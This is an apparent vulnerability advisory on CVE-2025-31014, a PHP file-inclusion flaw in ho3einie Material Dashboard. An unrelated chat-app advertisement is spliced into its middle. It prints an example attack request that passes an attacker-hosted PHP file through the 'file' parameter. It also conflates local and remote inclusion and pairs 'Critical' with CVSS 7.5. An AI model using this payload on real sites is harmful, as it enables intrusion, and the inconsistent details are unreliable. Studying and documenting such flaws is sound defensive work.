Overview
This report provides a detailed analysis of a critical vulnerability, identified as CVE-2025-31014, affecting the ho3einie Material Dashboard. The vulnerability stems from an improper control of filename for Include/Require Statement in PHP Program that could potentially allow PHP Local File Inclusion, leading to a system compromise or data leakage. The vulnerability is notable due to its high severity score and the affected population, which includes all versions of Material Dashboard up to 1.4.5.
Vulnerability Summary
CVE ID: CVE-2025-31014
Severity: Critical (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Material Dashboard | n/a through 1.4.5
How the Exploit Works
The vulnerability in question arises from an improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’) in ho3einie Material Dashboard. This flaw allows an attacker to include local PHP files, potentially leading to arbitrary code execution. An attacker can exploit this vulnerability by sending a specially crafted request to the server, leading to a potential system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability:
GET /include.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable-website.comIn the above example, the attacker uses the vulnerable parameter `file` to include a malicious PHP file hosted on their own server.
Mitigation Guidance
To mitigate this vulnerability, users should apply the vendor-provided patch as soon as it becomes available. As a temporary measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and block attempts to exploit this vulnerability.
